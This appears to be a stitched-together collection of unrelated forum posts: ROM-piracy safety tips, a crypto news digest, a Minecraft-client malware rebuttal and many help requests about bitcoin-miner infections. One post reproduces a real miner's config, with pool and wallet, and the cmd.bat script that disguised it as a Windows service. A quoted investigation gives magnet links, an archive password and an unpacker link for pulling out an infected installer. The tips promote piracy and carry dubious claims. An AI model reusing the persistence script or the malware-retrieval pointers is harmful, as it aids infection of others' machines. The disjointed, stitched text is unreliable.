Tips :
Tip #1 : If you're in a country that hate piracy like USA or Germany ( i think Germany have dmca or something ?? idk ) etc. stay away from torrent and stay away from http sites
( download Https Everywhere extension and enable encrypt all sites eligible option by pressing on the icon of https everywhere ) even if your browser included with it . because it will warn you if the site is http...
Tip #2 : FBI will not raid your house ( because fbi will not waste there time on you )
Tip #3 : https is your best friend because it's encrypted that means if you go to a https roms site
your isp will see (random numbers and letters) .com/.net/.org/.to/.site etc.
Tip #4 : install an adblock i suggest Ublock Origin

Tip #7 DON'T DO NOT OPEN ANY ANY ANY .MSI .EXE/.DMG/.DEB or ANY OTHER FILE THAT you CAN OPEN WITHOUT AN EMULATOR THE FILE IT'S 2000% A VIRUS ( EXCEPT WHEN you DOWNLOAD RETRO ARCH [ or any other emulator OF COURSE ] ) AND DON'T OPEN .BAT FILES IT CAN DELETE SYSTEM32 FILE AND IT'S ONE OF THE MOST IMPORTANT FILES IN WINDOWS
Tip #8 Emulating is Legal but Downloading ROMs is ILEGAL ( OF COURSE IF you're LIVING IN A COUNTRY THAT DMCA IS A HOLY THING ) ;-)
Tip #9 If you're suspicious of a file u can scan it on VirusTotal or Hybird Analysis ( you need to upload the file because it will open it on a vm in there sever ).
Tip #10 I recommend using a controller if you have a xbox controller just connect it to your pc and you're good to go BUT if you have a dualshock controller (ps controller )
use DS4 Windows ( if you have a windows pc ) ( I Know it's the fork bc the og creator stopped working on it in 2016 or somthing like that )
or any other controller .
Tip #11 If you download a rom and it came in .rar .zip .7z .r001( if the rom came with multiple files like .r001 .r002 .r003... you need to extract just a one file) etc. you can use 7-ZIP or Winrar ( don't worry 40 days trial doesn't end ).

Tip #12 if the rom came in this order rom.rar.exe don't think to open it and if you hide the extension file from showing from the file name it will show like rom.rar but it's actually a .exe or .dmg etc.

Tip #13 if you have a linux pc or a mac that doesn't mean you will not get infected even Temple OS have malwares ( if you don't what's a malware is just search )​.

Crypto Weekly News

What important crypto events happened last week?
Cryptocurrencies
Monero Presents New Legal Framework In Defense Of Privacy Coins
Riccardo Spagni presented the result of more than a year's work. A whitepaper titled "Anti-Money Laundering Regulation of Privacy-Enabling Cryptocurrencies" has been published. The document was conceived as a new legal framework to protect confidential coins such as Monero, Zcash, Dash, Komodo, and others.
Tether Is Moving 1 Billion More USDT Coins From TRON To Ethereum Blockchain
The total supply of coins will not change. The company carried out the swap on September 15, coordinating its actions "with a third party". In recent weeks, this is the second such stablecoin transfer between blockchains — on August 20, the issuer also moved USDT 1 billion from Tron to Ethereum. Another piece of news about Tether: USDT capitalization exceeded $15 billion, having increased by $3 billion in just a month.
Projects and Updates
Kraken Receives Licence To Establish First U.S Digital Assets Bank
The Kraken Bitcoin exchange was the first in the United States to receive the status of a special purpose depository institution (SPDI), giving it the functions of a traditional financial institution. The corresponding application of the Californian company was approved by the Wyoming Banking Council. This will allow Kraken to opt-out of third-party vendors to perform certain banking functions on its own.
Official Ethereum Proof-of-Stake Algorithm Proposal Published
Ethereum Foundation Lead Developer Danny Ryan has published the official proposal EIP-2982, which suggests the launch of Ethereum 2.0 and the transition from the Proof-of-Work consensus algorithm to Proof-of-Stake. If approved by other leading developers, it will be possible to launch Serenity, Ethereum 2.0 phase zero. Within its framework, the Beacon Chain will be activated, which will use Proof-of-Stake.
Uniswap Provides All Its Users With $1.200
Leading decentralized exchange (DEX) Uniswap has released the UNI governance token. It was listed on the Binance exchange almost immediately. About 13000 Uniswap users have already requested tokens.
Regulations
New Draft Law Suggests The European Union Is Set To Regulate Cryptocurrencies
The European Commission proposed to establish a legal framework for cryptocurrencies, security tokens, and stablecoins by analogy with the requirements for traditional financial instruments. This is stated in the Cryptocurrency Asset Markets Bill. The bill proposes to treat cryptocurrency assets like any other financial instrument. According to the European Commission, this will provide legal clarity.
Digital Assets Recognized As Securities In Nigeria
The regulator clarified that cryptocurrencies offer public alternative investment opportunities. Digital assets can be used as a medium of exchange, settlement, and accumulation. In order to protect investors from risks and not violate the integrity of the market, crypto assets must be controlled on an equal basis with securities. The main task of regulation is not to discourage the development of new technologies, but to ensure fair market competition and adherence to ethical standards.
Hacking
Japanese Crypto Exchange Sues Binance for Role in $63 Million Bitcoin Hack
The Japanese company Fisco Cryptocurrency Exchange, Inc has filed a US lawsuit against Binance Holdings Ltd., accusing it of providing a service to launder cryptocurrency stolen from the Zaif exchange in 2018. Fisco acquired Zaif in 2018 shortly after the hack. Over $9 million in stolen assets could have been funneled through Binance. The company notes that analysts were able to track the movement of all stolen $63 million to one bitcoin address. Subsequently, 1,451.7 BTC were sent from it to Binance addresses.
New Virus Attacks Microsoft SQL Database Servers For Monero Mining
Tencent's cybersecurity division has discovered a new miner virus called MrbMiner. The tactics of the virus are quite simple — the botnet scans the available IP addresses in search of Microsoft SQL servers, and if it detects such, it tries to log in under the administrator account using a brute-force password. If successful, the virus downloads the assm.exe file, which implements a reboot mechanism and creates a special account for hackers to access the server. After that, MrbMiner downloads a miner for mining the anonymous cryptocurrency Monero (XMR).
Mass adoption
Bahamas Geared to Launch Central Bank Digital Currency
The Bahamas wants to be the first country in the world to roll out a government-backed virtual currency nationwide and announced they will launch a central bank-issued cryptocurrency (CBDC) in October. The digital currency, dubbed "sand dollar", is designed to increase the financial availability of remote islands within the archipelago state.
Alibaba On Track To Be The Largest Blockchain Patent Holder By End Of 2020
Computer giant IBM risks losing the title of the largest blockchain patent holder to the Chinese corporation Alibaba. Since the beginning of the year, Alibaba has published ten times more patents than its closest competitor, IBM. According to analysts, if the pace is maintained, the Chinese corporation will become the largest patent holder by the end of the year.
France Begins Central Bank Digital Currency Testing
Société Générale — one of the largest financial conglomerates in Europe — will test the central bank digital currency (CBDC) on the Tezos blockchain. The Bank of France, as a result of the selection of partners, chose the Forge blockchain platform to test CBDC for interbank settlements. As part of the experiment, the feasibility of digitizing financial securities and the possibility of settlements on them using CBDC will be studied. In addition to Nomadic Labs, several technology service providers and consultants will participate in the testing.
Kazakhstan Will Develop A Blockchain Service For Ensuring The Security Of Personal Data
It will allow citizens of the country to control the use of their personal data. The service is planned to be introduced by the end of this year.
People
Kiss Rock Group Member Is Ready To Buy Bitcoin
Gene Simmons supported Cameron Winklevoss's request to use bank accounts to buy Bitcoin and Ether. The co-founder of Gemini tweeted that people who do not have access to banking services find it difficult to become the owners of cryptocurrency and that they need to take advantage of the benefits. The musician commented as follows: "I will. I am." For this moment, the most common opinion on Twitter is that Simmons is already buying cryptocurrency and will continue to increase the amount of Bitcoin he owns.

Heres some proof about sigma not being a trojan and omikron client proof from the sigma creator andro

The high GPU usage is due to the GPU acceleration or the UIs. And this is not comparable to other person's GPU usage since every GPU behave differently. You can compare this usage with vanilla 1.15.2's GPU usage. In my personal case, it's about +1~8% higher.
And the overall performance loss over the 1.8 clients is due to the 1.15 itself, the heavy UI, the missing optimisations (performance update soon), the obfuscation, etc
Some people are saying that "conhost.exe" is a malware... It's actually the console process spawned by java.exe which is used by Sigma (instead of the javaw.exe, the window version of java.exe without the console, that is mostly used for Minecraft).
Fun fact: Badlion client and Lunar client are also spawning conhost, and they aren't getting called out as malwares.
Here's a great explanation of what it is: https://www.howtogeek.com/howto/4996/what-is-conhost.exe-and-why-is-it-running/

And Omikron client was not a bitcoin miner, here's the copypasta :
Omikron client didn't have any btc miner / rat / botnet or whatever. The thing running in background was a system to validate the usage of the auto alt / proxy from other computers. Therefore, if you used auto alt / auto proxy, your computer among others validated in some sort of P2P the usage of alts / proxies. If >50% of computers says that a "transaction" is good, it was validated. Omikron decided to do that to counter the abuse of auto alt / auto proxy.
But ofc you could disable that autorun in Omikron Client's setting. And it was clearly written in the client that it would autorun (but no body really read it) if you use auto alts / auto proxy.
Edit, another copypasta:
I know, this is missleading. In the code, finding alts is refenrenced as "mining" them because you have this usepass combo and sometime yay ! Its a working minecraft alt ! The whole problem about all this drama is that its old code written when the client was "ghost client" and putting it in a .m file intead of .minecraft, having the package not named omikron, not using omikron domain name in the code was a good idear to prevent memory scanning cheating software such as BLSquad to find "omikron" but as you can tell it has bring more trouble that anything. You shoudn't be scared, your cpu isn't and wont be used to mine crypto or any unwanted activity and you will soon be able to chose if you want the service to run. In the next release, beside the fact that all of this was moved to .minecraft/Omikron, using proper domain name etc, you will be able to choose if you are using the client and want the background service running to find alts or if you have the client installed but not using it you will be able to disable the background service.
The video that is spreading about Omikron client is only proving that it downloads an autorun, and runs it in the background, which is intended.

Be careful of people trying to spread that Sigma could be a virus. Most of the time, they're made up by people who are clueless and don't know about what they're talking about (ex: conhost).

Surprising Trojan

Bought a new 1 TB hdd for my Borderlands 3 which didnt fit on my 110 gb ssd. Had BL2 and windows on my ssd. After I downloaded BL3 I noticed the game ran like shit, so i downloaded razer cortex which somehow freed 1 ram. The game ran pretty good. After a few days I saw there was an Twitch event for the game so I downloaded the exstention or however you write that word. First day it was fine, second day twitch was buffering for no reason (wifi great on my phone and laptop, pc was on ethernet). Became a bit suspicious today, went to check Windows quick scan, it did not start. Opening Windows security was blank, and looking at protection history in settings just closes the entire window.
So I downloaded Malwarebytes. 32 detected files for trojan. Hella lot of Bitcoin miners (amazing since my gpu was already on life support when I got it from my brother), quarantined those files and deleted it. Reset my Pc, tried to quick scan the pc, it was the same as before, nothing working as intended. So I resorted to wiping EVERYTHING from my pc, even the games that took 2 days to download each.
So at this point my Windows is restaring entirely, assuimg it would be a long process, it wasnt. I was greeted with a reset failure.
I dont know what to do. My blood is boiling. I swear I have 0 idea about PCs but i am seeing the worst possible shit on my PC and I dont download random things from the internet. I have 0 clue where I had gotten the trojan from. Most likely somebody coughed into my pc so it got sick.
Things that might have brought the virus: 1. razer cortex (gave me a warning before downloading, nothing special, had it years before and it worked just fine)
  1. tried to speed up my BL3 download since i had it on my laptop already (which doesnt have a virus - checked) and i put my network to public. maybe somehow with magic it got transferred? its not public anymore.
  2. random cookies from the internet??
  3. detection from canyourunit
  4. BL3 exstention from twitch
I cant think of any other thing, i swear i didnt download some random shit because its simply not in my downloads. It could have been on my pc for a while, i dont know, but its scary. Im scared ill have to take my GPU to the ER.
Jokes aside, how does one safely get rid of this shit? Also, do you think Razer Cortex is a suspicious program? I would not like to erase it due to it giving me 1 ram (have 8) and making my game run good.

Something I've never seen before

Dell G3, i5-9300H, GTX 1660 Ti 6GB, 8gbs of DDR4.
So. I'll own what I think the cause was. Steam had Fallout 4 on sale for like $30. Went to lunch, thought about it, came back...and it was $60 again. I tried to buy Fallout 4 from Greenman Gaming. They took my money, I didn't get a game, I got pissed. So. I obtained the game through other means. Cough. Please note mods: I'm not advocating piracy. I know what I did is stupid. I'm trying to be honest to get real feedback.
Things are fine. Then I start playing GTA online. Game stutters and crashes to the point I can't even run it. I do an anti-virus scan and find 20+ things. Bitcoin miners, the lot. I use Malwarebytes to remove em all. It's my own fault. I remove the culprit. Ended up buying it from Steam summer sale.
The root of the problem: The laptop now has a persistent...stutter for lack of a better term. About every 15 minutes, the laptop basically freezes video for 2-3 seconds. Like a pulse. My thermals are fine. My CPU isn't maxed. Ram is usually high but that's been the case even before my stupidity. But it even does this while watching shit through VLC or Youtube. I've used Avast, Hitman Pro, Malwarebytes and none can find anything. What do I do? What's wrong? Where do I start with diagnostics?

Overly paranoid about malware, viruses and other nasty stuff

So, well... Will put it straight. I once downloaded like a cheat program for a game, mod menu, I did everything I can to check it for threats, scanned with virustotal, with avast, manually dived into my PC's processes with Process Monitor, and found nothing suspicious even after doing it all again after running the program itself, that, btw, didnt even work so I deleted it. But I'm still scared. Bitcoin miners. Remote acces trojans. Spyware. Unwanted programs. Malware and viruses. That's all I'm scared of. I even taped my webcam after downloading and deleting the program. I dived into scanning my computer again, searching for suspicious things in processes... But nothing. I'm still scared. Of some invisible malware or spyware, undetectable by anything, some ransom secretly encrypting my files while the computer is on and waiting for the right moment to pop up. Can somebody please calm me down? I really dont know what to do.

CPU usage on 3/12 threads is 100% until I open Task Manager

I used Throttlestop to monitor my CPU and found that 3 threads were always being used 100% even in idle but the usage would go to normal again as soon as I opened Task Manager.

I have already tried scanning with Malwarebytes and it shows no viruses or bitcoin miners. I have also used TDSSkiller as well as MBAR(Malwarebytes anti-rootkit) and both showed no problems. Yet the issue still persists causing high temperatures even when idle.

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
https://imgur.com/a/yArkTR8
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "gulf.moneroocean.stream:80", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)

Overheating laptop, I've considered reapplying new thermal paste, need opinions

First time considering this kind of thing, I have a ge62vr (owned for 4 years) and I noticed in the last few weeks that my laptop has been soaring in temps whenever I run twitch, youtube, or surf the internet in general.
As you can see from CPUID, that my max temps were when I was running just 1 youtube video. My current temp is from me running on turboboosted fans for about an hour while typing out this post with no youtube or twitch running https://i.imgur.com/YKvMEdN.png
I have it hooked up to a ASUS 248qe and I extend the laptop monitor as well. So 2 monitors running.
Things I have tried:
-Reenabling GPU acceleration on chrome, thought it fixed the issue because my laptop was running fine after that but started to recently become hot again.
-heavily reducing my chrome usage, seems to only work sometimes. If I start clicking on a youtube/twitch tab, temps will start to rise rapidly again.
-checked for dust, didn't see any clogging up my laptop,
-checked if my fans were working, they both are
-did a malwarebytes virus scan in case I had any fancy bitcoin miners that hide themselves whenever I open task manager, TBH not sure if I did this thoroughly, apparently you need to monitor incoming and outgoing connections to see if your computer is sending information somewhere strange. Which I haven't done.
-uninstalled bloatware, heavily cutdown on the amount of startup apps that run on boot.
-disabling my extended monitor. no difference. Doesn't matter anyway, I've run perfectly cool before while surfing the internet using both monitors.
-all my drivers are updated
-checked for corrupted windows files, no issues
-checked chrome's task manager to see what's killing my cpu/gpu, which is nothing, my gpu and cpu utilization is low and usually stays low about 85% of the time (20% utilization more or less) I'm using it. I've manually frozen tabs I don't use that are heavy (relatively speaking) in resources. Still randomly get elevated temps doing nothing.
------------------------------------------------------------------------------------------------------------------
Other things I should mention is that I used to have a cooling pad but it recently died, I'm thinking the issue could be that I'm simply in a hot room (78 degrees), weather will be cooling down for the coming week so I'll see if that changes anything. But it doesn't explain why sometimes I'm able to run my laptop cool while watching twitch, listening to music on youtube, while using blender and only be in the high 60s- mid 70s while in a 78 deg room.
Another thing is that I bought a wireless Sennheiser headset a while back which initially didn't cause any problems. But in the recent weeks has started predictably disconnecting 5 minutes after usage and reconnecting on its own. I ran into some odd driver issues with it where it would freeze my laptop for 15 minutes if I tried to access the device in the audio properties panel. And since I got it, booting up my laptop takes 10-15mins rather than instantly like it used to.
What's throwing me off is that sometimes I can use my laptop in its full capacity, (chrome, twitch, youtube, blender, dual monitors, etc) and be fine in temps, and sometimes even doing nothing will run up my laptop to 80c+ and stay there even when I run the turbo boost fan option. It's almost like there's malware running in the background that I can't detect and chooses to run during random times in the day.
Not really sure where I should go from here, I'm thinking about reapplying thermal paste. A lot of people online have said they've had massive success with using liquid metal but I know that it's very risky, that you have to reapply it a year after because of some scientific mumbo jumbo about metals bonding, and could not be a good solution for me considering I plan to buy a PC in about a year. I feel like selling an older laptop that will have to have its thermal paste reapplied could make it harder to sell. Are there any suggestions for non-liquid metal pastes that can achieve pretty good cooling results that I won't have to reapply after a year? Doesn't have to be -20c across the board, but it'd be nice if watching twitch or youtube didn't rachet my laptop up to 90c+
Or do you guys feel this is an issue entirely separate from thermal paste?

High CPU when idling for ~5-10 minutes

Specs: - OS: Windows 10 Home 64bit - Graphics card: GTX 1080 - Processor: Intel i7-7700, 3,6 GHz - Motherboard: Asus Prime z270-A - Integrated Motherboard: Intel 630(?) -RAM: HyperX 16 GB DDR4 - Storage: 500GB SSD+ 2 times 1TB normal(?) memory - Power supply: Power Zone 650W

So I don't really know what has happened here but since about yesterday my computer starts using 100% of my CPU whenever I don't do anything for a few minutes. For example I go to the toilet and when I come back I have to wait for a few minutes for my PC to get back to normal again(usually between 1 and maybe 5 minutes, closer to 2 really).
I haven't downloaded anything except a Thesis guideline document of my university this week and 2 academic papers today. I only got 2 new games on steam in the current sale and some new dlc. I don't really know why this is happening now.
I have 2 screenshots of my task manager when this happens here:

Honestly this is kinda screaming 'bitcoin miner' or something along those lines to me, as it might be hiding itself by only mining when I'm afk. However I can't find anything out of the ordinary in my files. Malwarebytes couldn't either. Could it maybe be a Windows update that causes my computer to start maintenance when I'm idle? I read some stuff like this when googling my issues. Honestly I'm not really all that great at this stuff so I'm not sure to what extent Windows can be the issue.
I have 2 final notes
  1. I have been having random High CPU issues these past few months, however these were related to Google Chrome freaking out. All I know about it(as a friend explained me) is that it's Chrome's response to thinking something goes wrong, and it starts to scan all your stuff and attempts to remove whatever caused the problem. There was no real permanent solution for it.
  2. When I restarted during the High CPU problem once, I had to replug the station of my wireless headset for it to work again as it was somehow not being detected by my computer anymore.

Anyone who has an idea what this might be? Or what direction I should look in to fix this issue? I What has gotten me most worried is whether it's likely this is a virus or another type of issue, so I would especially appreciate any comments regarding that.

Desktop PC, CPU temp rises to 100 degrees C

OK. I'll try and do this one by the numbers:
System: Desktop PC. i7 series CPU, AIO liquid cooler. Windows 7, upgraded to win 10, dual boots into Linux. 32 Gb ram and an nVidia 1080 GPU. Coolermaster case.
Problem: GPU temp rises to 100 degrees where it stays, thermally throttling the processor and eventually turning off the PC. Problem occurs in normal use. Temperature is just about stable when the system is idle, but almost any app pushes the CPU temperature higher.
This is a new development: this same system has been running fine up until a few days ago. The problems started after I messed up an ENB install for Skyrim. I intended to upgrade the ENBSeries plugin and stupidly installed the oldest available version rather than the most recent. That put a lot of stress on the system, and now the system overheats even without any game running.
The problem also seems to happen in Linux. I have a dual boot system, and while I haven't got the Linux side set up for precise temperature monitoring, the fans run full-on and the machine runs slow even in Linux. So it's probably not a purely software issue.
I've monitored the temperature with HWMonitor and Speccy and the CPU is the affected component. Everything else seems to be within acceptable levels.
Tried so far: Cleaned the fans and got the dust out of the case. Upgraded OS to Window 10 (mainly in the hopes that being able to use all that memory would help, after finding out that Win7 Home only used 8gb). Booted into Linux and run a virus check. Found and quarantined a couple of bitcoin-miner trojans (but I don't think that's the whole story because the machine is also slow and hot under Linux).
Yet to try: Taking the radiator out of the case and checking it. (I have blown compressed air through the thing from both sides). Verifying that the cooler pump is working. I also haven't yet tried manually setting all the fans tp 100% to see what's working, mainly because I don't yet know how. I'm also not sure the radiator fans are working. I can feel an air flow from the top of the case but it's nothing like the case fan (which is generally running at maximum) and it could well be explained by the case fans moving air around inside the case.
At this point I suspect that something has broken in the water cooler system. I'm not sure how to diagnose that or fix it, so advice would be welcome. I'm happy to take the system to the local repair shop, but I'd like to know what the issue is a bit more clearly first.
There is also, probably, a malware issue. Again, this is probably a recent thing, but passed me by entirely until I upgraded to Windows 10, so it could have been there for some time. Unfortunately, attempts to do a proper system scan are being impeded by the fact that I have a fairly short window before the system heats up to the point where nothing really happens.
That's all I can think of, offhand. Advice on the cooling issue and the malware side of it would be very welcome.

The i25 binaries are now out in the wild.

I won't link them here, but there's an i25-binaries channel in the main City of Heroes discord that has the download links.
It should now be possible to host an i25 server, though you'll probably still need some very beefy hardware - getting beefier the more players you want to fit onto your server.
Most, if not all, the coders in the main discord are still focused on getting i24 to work. I personally don't mind i25 at all, so it'd be cool if we could get a couple of smart folks working on figuring out how to get it running. The furthest I could get was booting up the authserver - looks like you need an SQL servedb to get past that, and that is woefully beyond my level of expertise (which is next to zero).
(and for people who don't know - i25 is the unofficial name for the custom additions made to the secret server that we found out about last week, while i24 was the last version of live CoH before it was shut down in 2012)
Update 1: Trinexx on the Discord is running a solo server right now. It doesn't seem super demanding for a single player, meaning that within a day or so, anyone will be able to run their own solo server - just gotta wait until someone puts together a step by step guide. As for running a server that other players can connect to, and what hardware configs that will require, we don't quite know yet.
Update 2: Currently it seems as though launching into the game and playing some solo CoH is quite possible. However, every time you access a new door mission or zone, the RAM usage goes up dramatically and that may cause problems. Things might be a little rough for a while, but it works, at least!
Update 3: While the i25 release definitely looks fully functional, I should mention here that no one has done a thorough scan on it for sketchy stuff like bitcoin miners. None of my virus scanners picked up a peep when I unrar'd the archive, so we're probably good there, but just thought you guys should know that the files have not been 100% confirmed to be completely clean of any weird surprises.
Update 4: Seems like the big hurdle for most average joes right now is figuring out how to set up an SQL server. That's the case for me, at least. Hopefully we get a good tutorial soon!

Need to move my btc from a closed source wallet

I have this stubborn bitcoin miner (that’s all it does, not a rat or anything) on my PC that will not get off no matter what i do, malware bytes scans and “removes” it every single time, but it comes back. the registry items and the files come back every few days. I’m just gonna reset my whole PC. Anyways, I started using coinomi because I thought I would be dealing with under $20, but since has gone up to the number where I’m no longer comfortable leaving it on a computer that has a virus on it, OR on a closed source wallet. However, in coinomi, I can only see my recovery phrase, and not export my secret key. Otherwise I’d just write down the private key, reinstall, and sweep into electrum once i got my PC running again. I’d prefer to somehow sweep into electrum and pay the miners, so I can be sure there won’t be any security risks with importing it (or do i not have to worry about the risks of importing it since my pc is going to be reset, therefore no one else is going to access it?),but I also don’t want to pay them twice, so generating a wallet online using that one site and sending money to it then sweeping with electrum won’t work. Is there any way to just convert the recovery phrase into the private key or somehow get the private key out of coinomi so I can sweep it? Or is there a better way of doing it? Keep in mind I’m gonna be resetting my PC in between accessing coinomi and setting up electrum, so if I mess up, I won’t be able to access coinomi again. Sorry for the long post, just so many options. Thanks.

OS and most applications/games are suddenly unbearably slow

Hi all. Suddenly most of my 3D games are really slow (even WoW classic takes 6 minutes to boot up!), as well as software (BattleNet launcher, Steam). Slow as in takes minutes to boot up (compared to seconds normally) as well as hanging up with "not responding" and slow on loading content, and in games I get stutter once they slowly booted up. The entire OS feels sluggish, it's like PC barely manages to run it without bigger hick-ups, but chokes on games. Installation of software seems slow, downloads in chrome are slow to finish (when virus scan is run on them, I guess). Even restarting system is slow, despite it being on SSD.
Relatively new build, I'm on a Ryzen 2700 and GTX 1060/GTX 770. I first thought it's a bitcoin miner, but the GPU/CPU usage in task manager is completely normal. Tried benchmarking with CPU-Z thinking something wrong with CPU, it performed alright. Power settings are on performance what I can see. HDD/SSD read/write speed is normal.
It feels like the CPU is operating at like 10% capacity, which is barely enough for browsers and some simple games/applications, rest hanging up. What can this possibly be, and how do I go about troubleshooting this?
Already tried:

Edit: Solved, seems my overclock settings were at fault.

My computers is being potato please help me )=

So recently my computer has started freezing and frame lagging when playing games ive done everything from turing graphics all the way to low too running a multitude of virus scans ect to maybe root out some bitcoin miners but nothing seems to work(btw had no miners on my pc phew).

Here are my current specs honestly they are not great and that might be the problem
GeForce GTX 980
Intel i5-4690 @ 3.50GHz
8GB Ram DDR3 (I used to have 16gb but one Stick broke)
No SSD
and im not sure what my Mobo is
700W PS

here is a short video of what I'm experiencing in most games any ideas, tip or upgrade advice would be awesome please not I'm on a budget of around $600 i know ill have to upgrade my pc eventually its just so dam expensive ive also got my Task manager up so you can see the CPU Spikes ect. https://youtu.be/1str_zkloQw i thought i could just post it here but i cant so i uploaded it to YouTube.

Do you agree with Fitgirls' position on antiviri?

Modern AVs are paranoid. They usually see danger in safe files and skip real malware. This is more actual for compressed/protected software and cracks, especially from Chinese groups, such as 3DM.
This may sound scary, but in the real world THERE IS NO ANTIVIRUS, which will protect you from modern trojans, bitcoin miners and similar stuff. In most cases harmful apps won’t be blocked, but absolutely safe programs – will be, as false positives. And since AVs usually work silently, without even notifying you about blocked stuff – you will wonder, why the installer don’t work or why the game don’t want to launch.
One of the biggest downfalls of AVs is they resident mode, when ALL open files, even not executables, arc checked on the fly. This mode can slow down a fast installer for HOURS, because every unpacked file will be checked with AVs engine. Complex repacks do lots of HDD read/writes, and it alone is not fast, but coupled with AV will ruin your experience.
The best antivirus is your brain. Don’t download suspicious software, don’t open attachments in your email, keep your browser up-to-date, disable Flash and Java. This will protect you from 99% of potential malware. You can use antivirus in scan mode on daily basis, with VERBOSE mode, when you will see, what AV counts a real danger.
One more thing – NEVER EVER trust only one antivirus. False positives appear more frequent, than any real virus. Upload any suspicous file to virustotal.com and only then take actions.
If you still need AV for scanning, I’d settle for Kaspersky, Dr.Web or ESET tools, working in VERBOSE mode, and not killing stuff automatically.

JC3 XL SEYTER has bitcoin miner!

Installation took about 8 hours on my pc. I was sleeping, anyways it looks like try to install these files when directx and other visual thing came up. Be carefull you dont want your pc to be victim.
Im suggesting to *scan your computer if you installed any SEYTER repack*, scan with Avira Free or Malwarebytes Free. Both working nice.

HOW TO REMOVE IT
  1. Download and install Malwarebytes, Avira or AVG from their site.
  2. Scan your C:(Windows) drive and wait for it to find Miner files.
  3. If there is check folder name and go manually there or delete from antivirus-antimalware.
  4. You should really delete that folder.

F.A.Q.
Q: DELETING GAME CLEANS MY PC?
A: NO.
Q: IS ALL ISSCH FILES BITCOIN MINEMALWARE?
A:NO, CHECK CREATION DATES.
Q: I DIDNT DOWNLOAD FROM RUSTORKA, DO I HAVE BTCMINEMALWARE?
A: YOU PROBABLY HAVE IT.
**MakeItYours9** Check your "Task Scheduler" I've found an ISSCH reference there and deleted it. 
QUOTE FROM FITGIRL
I can confirm that at least early RotTR Seyter's repack contained malware. I've put an investigation on rutor. And magnet links for rustorka (magnet:?xt=urn:btih:e41e3e6b8ce4701792f1b3a4ca4f5c43034626ae) and rutor (magnet:?xt=urn:btih:112b33845accf5d39ed92d2bee58bb2d2b307d66) are still active, so anyone can make sure, that game-7.bin contains the virus installer, while EXEs are different for two magnets. Why exactly Seyter made it and not some other uploader? It's simple. Seyter uses modified FreeArc, made by this tool: http://krinkels.org/threads/fa_protect.1873/ When you generate a new FreeArc copy with FA_Protect, you enter the password, it's unique. And the archives, created with your version of FreeArc won't be compatible with original FreeArc. And game-7.bin can ONLY be extracted by using unarc.dll in Seyter's repack. As all other his archives. So only Seyter could create that bin. One more thing. Both setup.exe's have the same size. But if you make byte-comparision, you'll see that they are different. First I've made xdelta between them, and xdelta file was ~16 KB. Then I ran both installers and made memory dumps with Process Explorer. Then looked for installer section (Inno Setup leaved many traces in memory). I've checked the number of unpacked archiees, and found out, that game-7.bin is only unpacked in rutor (not rustorka) version. Then I've found the password for that archive (555, while other bins use 9im6rXzBCM0zAAfnfesw). You can download the unpacker here: http://www35.zippyshare.com/v/D3x1w1cy/file.html When you extract setup.exe from game-7.bin - DO NOT RUN IT, until you know what you're doing. If you have friends who can deal with such stuff - hand the file to them. When I knew that setup.exe resides in game-7.bin, I searched for it in rutor setup memory dump. And have found that it extracts to user local app data folder and then silently runs. ISSCH.exe install in pretty random folder, so it can be anywhere. So yes. It's 100% positive, that it was the Seyter, who did the infected repack. His idea was to blame others for infecting his reuploads, cause Rustorka installer CONTAINS the bin-file, but never runs it. He's a moderator on Rustorka and a friend of Rustorka's admin, Markus. And that's why he don't shit at home, but feels comfortabe to infect his uploads for other sites. After my investigation (and CPY crack release) he updated his repack on Rustorka, and removed notorius game-7.bin. But Internet remembers everything, and the magnets are alive. Avoid any Seyter repacks in the future. If you don't like my repacks, stick to one of those: RG Mechanics RG Revenants Xatab RG Catalyst As myself, they never put malware in repacks and you'll be safe. Now, when I registered on Reddit, you can ask questions about my repacks if you have some.

Found Tor running in task manager after deleting the exe a while ago. has my computer been compromised?

here is a screenshot of task manager and another one of the folder with the exe in it. I found this a few months ago and forgot about it but it appeared again in my task anger after deleting it before. is it a virus? how can i stop it from coming back https://imgur.com/NI9tXyn
https://imgur.com/l4boIK7
Edit: i never once installed Tor myself which is why its so suspicious. deleted everything in temp and scanned with lots of antivirus software. It did find what it said was a bitcoin miner so the Tor.exe could be something to do with that?
thanks again for the help

Bitcoin Miner malware, detected with Malware Bytes but I believe it's still hidden somewhere.

